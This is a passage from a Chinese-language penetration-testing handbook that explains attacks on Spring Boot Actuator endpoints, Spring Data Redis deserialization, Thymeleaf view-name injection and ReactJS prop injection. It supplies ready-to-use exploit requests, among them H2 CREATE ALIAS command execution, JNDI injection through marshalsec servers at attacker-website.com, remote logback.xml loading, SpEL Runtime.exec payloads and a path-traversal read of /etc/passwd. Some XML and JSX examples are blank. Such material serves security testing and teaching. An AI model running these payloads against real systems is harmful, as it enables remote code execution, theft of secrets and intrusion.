4. 刷新配置：
```http
POST /actuator/refresh HTTP/1.1
Content-Type: application/json
```
5. 代码将被执行
可能的原因是：
1. `spring.cloud.bootstrap.location`设置为带有外部恶意配置的URL
2. 刷新触发对远程服务器上配置文件的请求并检索其内容
3. 由于反序列化漏洞，`SnakeYAML`在解析恶意配置时完成指定的操作
4. `SnakeYAML`使用`java.net.URL`从远程服务器拉取恶意jar
5. `SnakeYAML`在jar中搜索实现`javax.script.ScriptEngineFactory`接口的类并创建其实例
6. 实例创建导致恶意代码执行
参考：
* [Spring Boot Vulnerability Exploit Check List: spring cloud SnakeYAML RCE](https://github.com/LandGrey/SpringBootVulExploit#0x02spring-cloud-snakeyaml-rce)
* [Spring Cloud Env Study Notes of Exploit Spring Boot Actuator](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)
### spring.datasource.hikari.connection-test-query
`spring.datasource.hikari.connection-test-query`设置一个在从池中授予连接之前将执行的查询。如果满足以下条件，它可能导致RCE：
* `/restart`端点可用
* 使用了`com.h2database.h2`依赖
您可以通过以下步骤获得代码执行：
1. 设置`spring.datasource.hikari.connection-test-query`属性
```http
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "spring.datasource.hikari.connection-test-query",
"value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"
}
```
payload中的`T5`方法必须在命令执行后重命名（为`T6`），然后才能重新创建和使用。否则，下次应用程序重启时漏洞将不会触发。
2. 重启应用程序：
```http
POST /actuator/restart HTTP/1.1
Content-Type: application/json
```
工作原理：
* `spring.datasource.hikari.connection-test-query`设置为使用CREATE ALIAS创建自定义函数的恶意SQL语句
* `spring.datasource.hikari.connection-test-query`对应于HikariCP数据库连接池的`connectionTestQuery`配置，并定义在新数据库连接之前要执行的SQL语句
* 重启建立新的数据库连接
* 自定义函数被执行
参考：
* [Spring Boot Vulnerability Exploit Check List: restart h2 database query RCE](https://github.com/LandGrey/SpringBootVulExploit#0x06restart-h2-database-query-rce)
* [Writeup: Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## gateway
[gateway](https://cloud.spring.io/spring-cloud-gateway/reference/html/#actuator-api)执行器端点让您监控和与Spring Cloud Gateway应用程序交互。换句话说，您可以为应用程序定义路由，并使用`gateway`执行器根据这些路由触发请求。
### SSRF
至少存在以下问题：
1. 路由可以提供对隐藏或内部端点的访问，这些端点可能配置不当或存在漏洞。您可以通过向`/actuator/gateway/routes`发送`GET`请求来获取所有可用路由。
2. 如果[添加路由](https://cloud.spring.io/spring-cloud-gateway/reference/html/#creating-and-deleting-a-particular-route)不需要管理员权限，则会出现完整的SSRF。下一个请求将创建到本地主机的路由：
```http
POST /actuator/gateway/routes/new_route HTTP/1.1
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://localhost",
"order": 0
}
```
发送刷新请求以应用新路由：
```http
POST /actuator/gateway/refresh HTTP/1.1
Content-Type: application/json
{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath /new_route(?.*) = /${path}], order = 1]"
],
"uri": "https://localhost",
"order": 0
}
```
参考：
* [BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/)
### SpEL代码注入
使用`3.1.0`和`3.0.6`之前版本的Spring Cloud Gateway的应用程序容易受到[CVE-2022-22947](https://tanzu.vmware.com/security/cve-2022-22947)的攻击，当Gateway Actuator端点启用、暴露且不安全时，会导致代码注入攻击。远程攻击者可以制作恶意请求，允许在远程主机上进行任意远程执行。
查看以下带有详细信息的文章：
* [CVE-2022-22947: SPEL CASTING AND EVIL BEANS](https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/)
* [Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)](https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947)
* [Spring cloud gateway injects memory horses through SPEL](https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg)
## trace或httptrace
显示HTTP跟踪信息（默认情况下，最后100个HTTP请求-响应交换）。它可能泄露内部应用程序请求的详细信息以及用户cookie和JWT令牌。
`trace`需要一个`HttpTraceRepository` bean。
## mappings
[mappings](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#mappings)显示所有`@RequestMapping`路径的整理列表。
## sessions
[sessions](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#sessions)允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序。
## shutdown
[shutdown](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#shutdown)允许应用程序优雅地关闭。默认情况下禁用。
## h2-console
需要以下条件：
* 使用了`com.h2database.h2`依赖
* h2控制台在Spring配置中启用`spring.h2.console.enabled=true`
您可以通过h2数据库控制台中的JDNI获得RCE：
1. 访问h2控制台`/h2-console`。应用程序将重定向到`/h2-console/login.jsp?jsessionid=xxxxxx`。捕获`jsessionid`值。
2. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
3. 以与早期JDK版本兼容的方式编译：
```bash
javac -source 1.5 -target 1.5 JNDIObject.java
```
4. 在`http://attacker-website.com/`托管编译的`JNDIObject.class`
5. 使用[marshalsec](https://github.com/mbechler/marshalsec)设置LDAP服务：
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
```
6. 触发JNDI注入：
```http
POST /h2-console/login.do?jsessionid=xxxxxx
Host: vulnerable-website.com
Content-Type: application/json
Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx
{
"language": "en",
"setting": "Generic+H2+(Embedded)",
"name": "Generic+H2+(Embedded)",
"driver": "javax.naming.InitialContext",
"url": "ldap://attacker-website.com:1389/JNDIObject",
"user": "",
"password": ""
}
```
参考：
* [Spring Boot Vulnerability Exploit Check List: h2 database console JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x07h2-database-console-jndi-rce)
## heapdump
[heapdump](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#heapdump)返回一个hprof堆转储文件，可能包含敏感数据，如`env`属性。要从prof堆转储中检索数据，使用[Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)工具，查看[Find password plaintext in spring heapdump using MAT](https://landgrey.me/blog/16/)。
参考：
* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 4)](https://github.com/LandGrey/SpringBootVulExploit#0x06%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E5%9B%9B)
## jolokia
通过HTTP暴露JMX bean（当Jolokia在类路径上时，WebFlux不可用）。需要依赖`jolokia-core`。
### 提取env属性
您可以调用相关的MBeans以明文检索`env`属性值。下面您可以找到可用于此目的的MBeans。但是，情况可能有所不同，列出的Mbeans可能不可用。但是，您可以搜索可以通过`getProperty`等关键字调用的方法。
参考：
* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 1)](https://github.com/LandGrey/SpringBootVulExploit#0x03%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%80)
#### org.springframework.boot
您可以使用以下请求获取`env`属性值的明文：
```http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": [
"your.property.name"
]
}
```
`org.springframework.boot` MBean调用`org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar`类实例的`getProperty`方法。
#### org.springframework.cloud.context.environment
您可以使用以下请求获取`env`属性值的明文：
```http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json
{
"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
"operation": "getProperty",
"type": "EXEC",
"arguments": [
"your.property.name"
]
}
```
`org.springframework.cloud.context.environment` MBean调用`org.springframework.cloud.context.environment.EnvironmentManager`类实例的`getProperty`方法。
### Logback::reloadByURL
您可以使用`/jolokia/list`端点列出所有可用的MBeans操作。大多数MBeans操作只暴露一些系统数据，但如果存在`Logback`库提供的`reloadByURL`操作：
可以从外部URL重新加载日志配置：
```http
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml
```
#### 带外XXE
`Logback`使用由启用了外部实体的`SAXParser` XML解析器解析的XML配置。您可以利用此功能触发带外XXE：
```xml
%remote;%int;]>
&trick;
```
```xml
">
```
参考：
* [Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)
#### Logback JNDI RCE
`Logback`配置具有[从JNDI获取变量](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)的功能。在XML配置文件中，您可以包含如下标签：
```xml
```
在这种情况下，`env-entry-name`属性将传递给`DirContext.lookup()`方法。向`lookup`方法提供任意名称可以通过远程类加载导致远程代码执行。
您可以通过以下步骤获得代码执行：
1. 获取`/jolokia/list`以检查`ch.qos.logback.classic.jmx.JMXConfigurator`类和`reloadByURL`方法是否可用
2. 在`http://attacker-website.com/logback.xml`托管logback配置：
```xml
```
3. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
4. 以与早期JDK版本兼容的方式编译：
```bash
javac -source 1.5 -target 1.5 JNDIObject.java
```
5. 在`http://attacker-website.com/`托管编译的`JNDIObject.class`
6. 设置LDAP服务器，使用[marshalsec](https://github.com/mbechler/marshalsec)设置服务器：
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
```
7. 使用以下请求从外部URL加载日志配置：
```
GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml HTTP/1.1
```
如果应用程序成功请求`logback.xml`且`marshalsec`接收到目标请求，但应用程序未请求`JNDIObject.class`，则可能是应用程序的JDK版本过高，导致JNDI使用失败。
可能的原因是以下步骤：
1. 直接访问可能导致漏洞的URL等同于通过jolokia `reloadByURL`调用`ch.qos.logback.classic.jmx.JMXConfigurator`类方法
2. 应用程序从外部URL请求XML配置文件
3. XML配置由`saxParser.parse`解析，导致XXE漏洞
4. 在Logback XML配置文件中使用`insertFormJNDI`标签指定外部JNDI服务器地址
5. 应用程序请求恶意JNDI服务器，导致JNDI注入和RCE
参考：
* [Spring Boot Vulnerability Exploit Check List: jolokia logback JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce)
* [Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)
* [Research: A Journey From JNDI/LDAP Manipulation To RCE](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
* [Research: Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
### Tomcat::createJNDIRealm
Tomcat（嵌入到Spring Boot中）的MBeans之一是`createJNDIRealm`。`createJNDIRealm`允许创建易受JNDI注入攻击的JNDIRealm。您可以通过以下步骤利用：
1. 获取`/jolokia/list`以检查`type=MBeanFactoryand`和`createJNDIRealm`是否存在
2. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
3. 编译代码并在`http://attacker-website.com/`托管编译的类
4. 使用[marshalsec](https://github.com/mbechler/marshalsec)设置RMI服务：
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389
```
5. 使用[springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py)发送payload
可能的原因是以下链：
1. 使用`createJNDIRealm`创建`JNDIRealm`
2. 将`connectionURL`地址设置为RMI服务URL
3. 将`contextFactory`设置为`RegistryContextFactory`
4. 停止Realm
5. 启动Realm以触发指定RMI地址的JNDI注入，导致RCE
参考：
* [Spring Boot Vulnerability Exploit Check List: jolokia-realm-jndi-rce](https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce)
* [Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
### Jookia CVEs
* [How I made more than $30K with Jolokia CVEs](https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/)
* [Jolokia Vulnerabilities - RCE & XSS](https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html)
## logfile
[logfile](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#log-file)返回日志文件的内容（如果设置了`logging.file.name`或`logging.file.path`属性）。支持使用HTTP Range头部检索日志文件内容的一部分。
## logview
[spring-boot-actuator-logview](https://github.com/lukashinsch/spring-boot-actuator-logview)`0.2.13`之前的版本易受路径遍历攻击，允许您检索任意文件。
```bash
# 检索 /etc/passwd
$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
```
参考：
* [Writeup: CVE-2021-21234 Spring Boot Actuator Logview Directory Traversal](https://pyn3rd.github.io/2021/10/25/CVE-2021-21234-Spring-Boot-Actuator-Logview-Directory-Traversal/)
## dump或threaddump
[dump或threaddump](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#threaddump)从应用程序的JVM执行线程转储。
## 参考
* [Spring Boot Actuator: Production-ready Features](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html)
* [Veracode Research: Exploiting Spring Boot Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
* [Spring Boot Vulnerability (Keep On Updating)](https://github.com/pyn3rd/Spring-Boot-Vulnerability)
# Spring Data Redis不安全反序列化
## Spring Data Redis 概述
Spring Data Redis是更大的Spring Data家族的一部分，提供从Spring应用程序轻松配置和访问Redis。Spring Data Redis在将数据写入Redis之前首先序列化数据。默认情况下，使用Java原生序列化进行序列化。
{% embed url="" %}
## 不安全反序列化
当Spring Data Redis从Redis检索数据时，存储的字节码会被反序列化。由于在反序列化过程中目标类没有被检查或过滤，这可能导致远程代码执行。
利用示例：
1. 使用[ysoserial](https://github.com/frohoff/ysoserial)生成payload
2. 将生成的payload写入Redis：
```java
// 尝试选择Redis中已存在的键，以便Spring检索数据时代码执行可以开始
redis.set("\xac\xed\x00\x05t\x00\brebeyond", payload);
```
3. 触发或等待Spring检索数据，易受攻击代码示例：
```java
@Controller
public class HelloController {
protected RedisTemplate redisTemplate;
@GetMapping("/")
public String index() {
Object result = redisTemplate.opsForValue().get("rebeyond");
return "index";
}
}
```
4. 服务器成功启动计算器：
调用栈如下：
## 参考
* [Spring Data Redis <=2.1.0 Deserialization Vulnerability](https://xz.aliyun.com/t/2339)
# Spring视图操作
## 视图概述
考虑一个使用Thymeleaf作为其模板引擎的简单Spring应用程序：
```java
@Controller
public class HelloController {
@GetMapping("/")
public String index(Model model) {
model.addAttribute("message", "happy birthday");
return "welcome";
}
}
```
`index`方法将为根URL `/` 的每个`GET`请求调用。它没有参数并返回静态字符串`welcome`。Spring将`welcome`解释为`View`的名称，并尝试找到位于应用程序资源中的`resources/templates/welcome.html`文件。如果Spring找到它，将从模板文件渲染视图并返回给用户。
## 不受信任的Thymeleaf视图名称
如果使用Thymeleaf视图引擎（Spring中最流行的），模板可能如下所示：
```html
Spring Boot Web Thymeleaf Example
```
Thymeleaf引擎支持[文件布局](https://www.thymeleaf.org/doc/articles/layouts.html)，允许您通过使用``在模板中指定片段，然后仅从视图中请求此片段：
```java
@GetMapping("/main")
public String fragment() {
return "welcome :: main";
}
```
Thymeleaf足够智能，只从`welcome`视图返回主要的`div`，而不是整个文档。
在从文件系统加载模板之前，[Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java)类将模板名称解析为表达式：
```java
try {
// 通过将其解析为标准表达式，我们可以从表达式缓存中获益
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
```
因此，如果模板名称或片段与不受信任的数据连接，它可能导致表达式语言注入，从而导致RCE。
例如，以下方法容易受到表达式语言注入攻击：
```java
@GetMapping("/path")
public String path(@RequestParam String lang) {
// 潜在的路径遍历，但限于'templates'文件夹
return "user/" + lang + "/welcome";
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section;
}
```
以下请求在服务器上创建`executed`文件：
```http
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com
```
此漏洞利用使用[表达式预处理](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)。为了使表达式被Thymeleaf执行，无论前缀或后缀是什么，都需要用`__${`和`}__::.x`包围它。
## 不受信任的隐式视图名称
控制器并不总是返回明确告诉Spring使用什么视图名称的字符串。如[文档](https://docs.spring.io/spring-framework/docs/current/reference/html/web.html#mvc-ann-return-types)中所述，对于某些返回类型，如`void`、`java.util.Map`或`org.springframework.ui.Model`，视图名称通过`RequestToViewNameTranslator`隐式确定。
这意味着乍一看这样的控制器可能看起来完全无害，它几乎什么都不做，但由于Spring不知道要使用什么视图名称，它**从请求URI中获取**。
```java
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
}
```
具体来说，`DefaultRequestToViewNameTranslator`执行以下操作：
```java
/**
* 将传入的{@link HttpServletRequest}的请求URI
* 转换为基于配置参数的视图名称。
* @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
* @see #transformPath
*/
@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
```
所以，它变得易受攻击，因为用户控制的数据（URI）直接进入视图名称并被解析为表达式：
```http
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com
```
## 参考
* [Spring View Manipulation Vulnerability](https://github.com/veracode-research/spring-view-manipulation/)
# React
# 概述
## ReactJS 概述
[ReactJS](https://reactjs.org/)是一个用于构建用户界面的JavaScript库。
### 组件和props
[组件](https://reactjs.org/docs/components-and-props.html)是ReactJS的基本构建块。从概念上讲，它们就像JavaScript函数。它们接受任意输入`props`并返回描述屏幕上应该显示什么的React元素。
定义组件的最简单方法是编写一个JavaScript函数：
```javascript
function Welcome(props) {
return
Hello, {props.name}
;
}
```
这个函数是一个有效的React组件，因为它接受一个`props`（代表属性）对象参数并返回一个React元素。这样的组件被称为`函数组件`，因为它们字面上就是JavaScript函数。
定义组件的另一种方法是使用ES6类：
```javascript
class Welcome extends React.Component {
render() {
return
Hello, {this.props.name}
;
}
}
```
从React的角度来看，以上两个组件是等价的。
### JSX
React组件使用[JSX](https://jsx.github.io/)，这是JavaScript的语法扩展。在构建过程中，JSX代码被转译为常规JavaScript（ES5）代码。
以下两个示例是等价的：
```javascript
// JSX
const element = (
Hello, world!
);
// 转译为createElement()调用
const element = React.createElement(
'h1',
{className: 'greeting'},
'Hello, world!'
);
```
### 元素
使用`createElement`函数从组件类创建新的React元素：
```javascript
React.createElement(
type,
[props],
[...children]
)
```
此函数接受三个参数：
* `type`可以是标签名字符串（如`div`或`span`），或组件类。
* `props`包含传递给新元素的属性列表。
* `children`包含新元素的子节点（它们是额外的React组件）。
### 设计安全
ReactJS在设计上实现了安全控制，例如，视图中的字符串变量会自动转义。
## 参考
* [Exploiting Script Injection Flaws in ReactJS Apps](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)
# 安全问题
## 控制元素类型
`createElement`函数在`type`参数中接受一个字符串。如果字符串由用户控制，就可以创建任意React组件：
```javascript
// 从存储在后端的字符串动态创建元素
// stored_value是用户控制的字符串
element_name = stored_value;
React.createElement(element_name, null);
```
然而，这只会生成一个普通的、无属性的HTML元素（相当无用）。
## 注入props
`createElement`函数在`props`参数中接受一个属性列表。如果列表由用户控制，就可以向新元素注入任意props：
```javascript
// 解析用户提供的JSON并将结果对象作为props传递
// stored_value是带有属性的用户控制JSON字符串
props = JSON.parse(stored_value);
React.createElement("span", props);
```
您可以使用以下payload来设置`dangerouslySetInnerHTML`属性：
```javascript
{"dangerouslySetInnerHTML" : { "__html": "
" }}
```
## 显式设置dangerouslySetInnerHTML
如果用户提供的数据用于设置`dangerouslySetInnerHTML`属性，您可以插入任意JavaScript代码：
```javascript
```
## 显式设置href
如果用户提供的数据用于设置`href`属性，您可以插入`javascript:` URL：
```javascript
Link
```
其他一些属性如HTML5按钮中的`formaction`或HTML5 imports也可能存在漏洞：
```javascript
// HTML5按钮